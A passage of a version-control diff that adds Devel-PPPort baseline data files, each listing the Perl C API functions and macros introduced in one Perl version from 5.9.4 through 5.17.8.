+ckwarn                         # U
+ckwarn_d                       # U
+csighandler                    # E (Perl_csighandler)
+dAXMARK                        # E
+dMULTICALL                     # E
+doref                          # U
+gv_const_sv                    # U
+gv_stashpvs                    # U
+hv_eiter_p                     # U
+hv_eiter_set                   # U
+hv_fetchs                      # U
+hv_name_set                    # U
+hv_placeholders_get            # U
+hv_placeholders_set            # U
+hv_riter_p                     # U
+hv_riter_set                   # U
+is_utf8_string_loclen          # U
+my_sprintf                     # U
+newGIVENOP                     # U
+newSVhek                       # U
+newSVpvs                       # U
+newSVpvs_share                 # U
+newWHENOP                      # U
+pad_compname_type              # U
+savepvs                        # U
+sortsv_flags                   # U
+sv_catpvs                      # U
+vverify                        # U
+HvNAMELEN_get                  # added by devel/scanprov
+HvNAME_get                     # added by devel/scanprov
+PERLIO_FUNCS_CAST              # added by devel/scanprov
+PERLIO_FUNCS_DECL              # added by devel/scanprov
+PERL_UNUSED_ARG                # added by devel/scanprov
+PTR2nat                        # added by devel/scanprov
+STR_WITH_LEN                   # added by devel/scanprov
+SV_CONST_RETURN                # added by devel/scanprov
+SV_MUTABLE_RETURN              # added by devel/scanprov
+SV_SMAGIC                      # added by devel/scanprov
+SvPVX_const                    # added by devel/scanprov
+SvPVX_mutable                  # added by devel/scanprov
+SvPV_const                     # added by devel/scanprov
+SvPV_flags_const               # added by devel/scanprov
+SvPV_flags_const_nolen         # added by devel/scanprov
+SvPV_flags_mutable             # added by devel/scanprov
+SvPV_force_flags_mutable       # added by devel/scanprov
+SvPV_force_flags_nolen         # added by devel/scanprov
+SvPV_force_mutable             # added by devel/scanprov
+SvPV_force_nolen               # added by devel/scanprov
+SvPV_force_nomg_nolen          # added by devel/scanprov
+SvPV_mutable                   # added by devel/scanprov
+SvPV_nolen_const               # added by devel/scanprov
+SvPV_nomg_const                # added by devel/scanprov
+SvPV_nomg_const_nolen          # added by devel/scanprov
+SvPV_renew                     # added by devel/scanprov
+SvSHARED_HASH                  # added by devel/scanprov
+dVAR                           # added by devel/scanprov

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5009004
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5009004	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5009004	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,42 @@
+5.009004
+PerlIO_context_layers          # U
+PoisonFree                     # E
+PoisonNew                      # E
+PoisonWith                     # E
+SvREFCNT_inc_NN                # U
+SvREFCNT_inc_simple            # U
+SvREFCNT_inc_simple_NN         # U
+SvREFCNT_inc_simple_void       # U
+SvREFCNT_inc_simple_void_NN    # U
+SvREFCNT_inc_void              # U
+SvREFCNT_inc_void_NN           # U
+gv_name_set                    # U
+hv_copy_hints_hv               # U
+hv_stores                      # U
+my_snprintf                    # U
+my_strlcat                     # U
+my_strlcpy                     # U
+my_vsnprintf                   # U
+newXS_flags                    # U
+pv_escape                      # U
+pv_pretty                      # U
+regclass_swash                 # E (Perl_regclass_swash)
+sv_does                        # U
+sv_setpvs                      # U
+sv_usepvn_flags                # U
+PERL_PV_ESCAPE_ALL             # added by devel/scanprov
+PERL_PV_ESCAPE_FIRSTCHAR       # added by devel/scanprov
+PERL_PV_ESCAPE_NOBACKSLASH     # added by devel/scanprov
+PERL_PV_ESCAPE_NOCLEAR         # added by devel/scanprov
+PERL_PV_ESCAPE_QUOTE           # added by devel/scanprov
+PERL_PV_ESCAPE_UNI             # added by devel/scanprov
+PERL_PV_ESCAPE_UNI_DETECT      # added by devel/scanprov
+PERL_PV_PRETTY_DUMP            # added by devel/scanprov
+PERL_PV_PRETTY_LTGT            # added by devel/scanprov
+PERL_PV_PRETTY_QUOTE           # added by devel/scanprov
+PERL_PV_PRETTY_REGPROP         # added by devel/scanprov
+PERL_UNUSED_CONTEXT            # added by devel/scanprov
+PERL_USE_GCC_BRACE_GROUPS      # added by devel/scanprov
+SV_HAS_TRAILING_NUL            # added by devel/scanprov
+SvVSTRING_mg                   # added by devel/scanprov
+gv_fetchpvs                    # added by devel/scanprov

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5009005
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5009005	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5009005	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,37 @@
+5.009005
+PL_parser                      # E
+Perl_signbit                   # U
+SvRX                           # U
+SvRXOK                         # U
+av_create_and_push             # U
+av_create_and_unshift_one      # U
+get_cvn_flags                  # U
+gv_fetchfile_flags             # U
+lex_start                      # E (Perl_lex_start)
+mro_get_linear_isa             # U
+mro_method_changed_in          # U
+my_dirfd                       # U
+newSV_type                     # U
+pregcomp                       # E (Perl_pregcomp)
+ptr_table_clear                # U
+ptr_table_fetch                # U
+ptr_table_free                 # U
+ptr_table_new                  # U
+ptr_table_split                # U
+ptr_table_store                # U
+re_compile                     # U
+reg_named_buff_all             # U
+reg_named_buff_exists          # U
+reg_named_buff_fetch           # U
+reg_named_buff_firstkey        # U
+reg_named_buff_nextkey         # U
+reg_named_buff_scalar          # U
+regfree_internal               # U
+savesharedpvn                  # U
+scan_vstring                   # E (Perl_scan_vstring)
+upg_version                    # E (Perl_upg_version)
+PERL_PV_ESCAPE_RE              # added by devel/scanprov
+SV_COW_SHARED_HASH_KEYS        # added by devel/scanprov
+SVfARG                         # added by devel/scanprov
+memEQs                         # added by devel/scanprov
+memNEs                         # added by devel/scanprov

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5010000
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5010000	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5010000	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,10 @@
+5.010000
+hv_common                      # U
+hv_common_key_len              # U
+sv_destroyable                 # U
+sys_init                       # U
+sys_init3                      # U
+sys_term                       # U
+PERL_PV_PRETTY_ELLIPSES        # added by devel/scanprov
+PERL_PV_PRETTY_NOCLEAR         # added by devel/scanprov
+XSPROTO                        # added by devel/scanprov

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5010001
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5010001	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5010001	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,22 @@
+5.010001
+HeUTF8                         # U
+croak_xs_usage                 # U
+mPUSHs                         # U
+mXPUSHs                        # U
+mro_get_from_name              # U
+mro_get_private_data           # U
+mro_register                   # U
+mro_set_mro                    # U
+mro_set_private_data           # U
+newSVpvn_flags                 # U
+newSVpvn_utf8                  # U
+newSVpvs_flags                 # U
+save_hints                     # U
+save_padsv_and_mortalize       # U
+save_pushi32ptr                # U
+save_pushptr                   # U
+save_pushptrptr                # U
+sv_insert_flags                # U
+DEFSV_set                      # added by devel/scanprov
+MUTABLE_PTR                    # added by devel/scanprov
+MUTABLE_SV                     # added by devel/scanprov

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5011000
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5011000	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5011000	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,15 @@
+5.011000
+Gv_AMupdate                    # E (Perl_Gv_AMupdate)
+PL_opfreehook                  # E
+SVt_REGEXP                     # E
+SvOOK_offset                   # U
+av_iter_p                      # U
+gv_add_by_type                 # U
+is_ascii_string                # U
+pregfree2                      # U
+save_adelete                   # U
+save_aelem_flags               # U
+save_hdelete                   # U
+save_helem_flags               # U
+sv_utf8_upgrade_flags_grow     # U
+get_cvs                        # added by devel/scanprov

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5011001
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5011001	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5011001	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,6 @@
+5.011001
+ck_warner                      # U
+ck_warner_d                    # U
+is_utf8_perl_space             # U
+is_utf8_perl_word              # U
+is_utf8_posix_digit            # U

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5011002
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5011002	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5011002	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,13 @@
+5.011002
+PL_keyword_plugin              # E
+lex_bufutf8                    # U
+lex_discard_to                 # U
+lex_grow_linestr               # U
+lex_next_chunk                 # U
+lex_peek_unichar               # U
+lex_read_space                 # U
+lex_read_to                    # U
+lex_read_unichar               # U
+lex_stuff_pvn                  # U
+lex_stuff_sv                   # U
+lex_unstuff                    # U

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5011003
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5011003	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5011003	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.011003

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5011004
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5011004	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5011004	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,2 @@
+5.011004
+prescan_version                # U

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5011005
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5011005	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5011005	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,2 @@
+5.011005
+sv_pos_u2b_flags               # U

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5012000
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5012000	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5012000	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.012000

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5012001
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5012001	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5012001	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.012001

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5012002
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5012002	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5012002	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.012002

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5012003
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5012003	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5012003	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.012003

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5012004
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5012004	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5012004	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.012004

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5012005
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5012005	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5012005	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.012005

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5013000
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5013000	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5013000	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,2 @@
+5.013000
+cBOOL                          # added by devel/scanprov

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5013001
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5013001	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5013001	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,6 @@
+5.013001
+croak_sv                       # U
+die_sv                         # U
+mess_sv                        # U
+sv_2nv_flags                   # U
+warn_sv                        # U

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5013002
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5013002	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5013002	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,10 @@
+5.013002
+SvNV_nomg                      # U
+find_rundefsv                  # U
+foldEQ                         # U
+foldEQ_locale                  # U
+foldEQ_utf8                    # U
+hv_fill                        # U
+sv_dec_nomg                    # U
+sv_inc_nomg                    # U
+C_ARRAY_END                    # added by devel/scanprov

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5013003
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5013003	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5013003	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,3 @@
+5.013003
+blockhook_register             # E
+croak_no_modify                # U

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5013004
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5013004	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5013004	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.013004

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5013005
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5013005	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5013005	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,6 @@
+5.013005
+PL_rpeepp                      # E
+caller_cx                      # U
+isOCTAL                        # U
+lex_stuff_pvs                  # U
+parse_fullstmt                 # U

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5013006
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5013006	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5013006	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,32 @@
+5.013006
+LINKLIST                       # U
+SvTRUE_nomg                    # U
+ck_entersub_args_list          # U
+ck_entersub_args_proto         # U
+ck_entersub_args_proto_or_list # U
+cv_get_call_checker            # E
+cv_set_call_checker            # E
+isWORDCHAR                     # U
+lex_stuff_pv                   # U
+mg_free_type                   # U
+newSVpv_share                  # U
+op_append_elem                 # U
+op_append_list                 # U
+op_contextualize               # U
+op_linklist                    # U
+op_prepend_elem                # U
+parse_stmtseq                  # U
+rv2cv_op_cv                    # U
+savesharedpvs                  # U
+savesharedsvpv                 # U
+sv_2bool_flags                 # U
+sv_catpv_flags                 # U
+sv_catpv_nomg                  # U
+sv_catpvs_flags                # U
+sv_catpvs_mg                   # U
+sv_catpvs_nomg                 # U
+sv_cmp_flags                   # U
+sv_cmp_locale_flags            # U
+sv_collxfrm_flags              # U
+sv_eq_flags                    # U
+sv_setpvs_mg                   # U

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5013007
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5013007	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5013007	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,36 @@
+5.013007
+HvENAME                        # U
+OP_CLASS                       # U
+SvPV_nomg_nolen                # U
+XopFLAGS                       # E
+amagic_deref_call              # U
+bytes_cmp_utf8                 # U
+cop_hints_2hv                  # A
+cop_hints_fetch_pv             # U
+cop_hints_fetch_pvn            # U
+cop_hints_fetch_pvs            # U
+cop_hints_fetch_sv             # U
+cophh_2hv                      # E
+cophh_copy                     # E
+cophh_delete_pv                # E
+cophh_delete_pvn               # E
+cophh_delete_pvs               # E
+cophh_delete_sv                # E
+cophh_fetch_pv                 # E
+cophh_fetch_pvn                # E
+cophh_fetch_pvs                # E
+cophh_fetch_sv                 # E
+cophh_free                     # E
+cophh_store_pv                 # E
+cophh_store_pvn                # E
+cophh_store_pvs                # E
+cophh_store_sv                 # E
+custom_op_register             # E
+custom_op_xop                  # E
+newFOROP                       # A
+newWHILEOP                     # A
+op_lvalue                      # U
+op_scope                       # U
+parse_barestmt                 # U
+parse_block                    # U
+parse_label                    # U

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5013008
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5013008	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5013008	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,8 @@
+5.013008
+foldEQ_latin1                  # U
+mg_findext                     # U
+parse_arithexpr                # U
+parse_fullexpr                 # U
+parse_listexpr                 # U
+parse_termexpr                 # U
+sv_unmagicext                  # U

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5013009
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5013009	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5013009	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.013009

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5013010
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5013010	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5013010	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,4 @@
+5.013010
+foldEQ_utf8_flags              # U
+is_utf8_xidcont                # U
+is_utf8_xidfirst               # U

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5013011
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5013011	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5013011	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.013011

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5014000
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5014000	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5014000	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,2 @@
+5.014000
+_to_uni_fold_flags             # U

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5014001
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5014001	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5014001	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.014001

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5014002
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5014002	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5014002	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.014002

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5014003
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5014003	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5014003	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.014003

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5014004
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5014004	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5014004	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.014004

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5015000
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5015000	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5015000	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.015000

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5015001
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5015001	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5015001	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,11 @@
+5.015001
+cop_fetch_label                # U
+cop_store_label                # U
+pad_add_name_pv                # U
+pad_add_name_pvn               # U
+pad_add_name_pvs               # U
+pad_add_name_sv                # U
+pad_findmy_pv                  # U
+pad_findmy_pvn                 # U
+pad_findmy_pvs                 # U
+pad_findmy_sv                  # U

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5015002
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5015002	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5015002	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.015002

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5015003
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5015003	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5015003	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.015003

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5015004
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5015004	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5015004	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,32 @@
+5.015004
+HvENAMELEN                     # U
+HvENAMEUTF8                    # U
+HvNAMELEN                      # U
+HvNAMEUTF8                     # U
+gv_autoload_pv                 # U
+gv_autoload_pvn                # U
+gv_autoload_sv                 # U
+gv_fetchmeth_pv                # U
+gv_fetchmeth_pv_autoload       # U
+gv_fetchmeth_pvn               # U
+gv_fetchmeth_pvn_autoload      # U
+gv_fetchmeth_sv                # U
+gv_fetchmeth_sv_autoload       # U
+gv_fetchmethod_pv_flags        # U
+gv_fetchmethod_pvn_flags       # U
+gv_fetchmethod_sv_flags        # U
+gv_init_pv                     # U
+gv_init_pvn                    # U
+gv_init_sv                     # U
+newGVgen_flags                 # U
+sv_derived_from_pv             # U
+sv_derived_from_pvn            # U
+sv_derived_from_sv             # U
+sv_does_pv                     # U
+sv_does_pvn                    # U
+sv_does_sv                     # U
+sv_ref                         # U
+whichsig_pv                    # U
+whichsig_pvn                   # U
+whichsig_sv                    # U
+WIDEST_UTYPE                   # added by devel/scanprov

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5015005
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5015005	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5015005	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.015005

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5015006
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5015006	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5015006	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,2 @@
+5.015006
+newCONSTSUB_flags              # A

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5015007
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5015007	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5015007	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,8 @@
+5.015007
+toLOWER_utf8                   # U
+toTITLE_utf8                   # U
+toUPPER_utf8                   # U
+to_utf8_fold                   # U
+to_utf8_lower                  # U
+to_utf8_title                  # U
+to_utf8_upper                  # U

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5015008
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5015008	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5015008	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,3 @@
+5.015008
+is_utf8_char_buf               # U
+wrap_op_checker                # U

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5015009
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5015009	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5015009	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,5 @@
+5.015009
+utf8_to_uvchr_buf              # U
+utf8_to_uvuni_buf              # U
+valid_utf8_to_uvchr            # U
+valid_utf8_to_uvuni            # U

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5016000
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5016000	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5016000	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.016000

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5016001
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5016001	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5016001	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.016001

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5016002
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5016002	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5016002	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.016002

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5016003
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5016003	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5016003	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.016003

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5017000
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5017000	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5017000	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.017000

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5017001
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5017001	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5017001	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.017001

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5017002
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5017002	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5017002	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,7 @@
+5.017002
+is_uni_blank                   # U
+is_uni_blank_lc                # U
+is_utf8_blank                  # U
+sv_copypv_flags                # U
+sv_copypv_nomg                 # U
+sv_vcatpvfn_flags              # U

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5017003
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5017003	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5017003	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.017003

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5017004
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5017004	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5017004	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,5 @@
+5.017004
+PL_comppad_name                # E
+PadlistREFCNT                  # U
+newMYSUB                       # E (Perl_newMYSUB)
+newSVpadname                   # E

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5017005
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5017005	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5017005	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.017005

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5017006
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5017006	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5017006	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,2 @@
+5.017006
+READ_XDIGIT                    # U

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5017007
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5017007	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5017007	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,7 @@
+5.017007
+SvREFCNT_dec_NN                # U
+_is_uni_perl_idstart           # U
+_is_utf8_perl_idstart          # U
+is_uni_alnumc                  # U
+is_uni_alnumc_lc               # U
+is_utf8_alnumc                 # U

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5017008
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5017008	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5017008	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,8 @@
+5.017008
+_is_uni_FOO                    # U
+_is_uni_perl_idcont            # U
+_is_utf8_FOO                   # U
+_is_utf8_mark                  # U
